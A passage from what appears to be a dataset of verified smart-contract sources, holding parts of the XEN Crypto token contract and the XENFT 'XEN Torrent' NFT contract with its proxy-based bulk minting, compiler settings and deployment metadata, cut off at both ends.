Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
64fe99d27ad2d25968a2960b07c3e855f03aaeff
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes 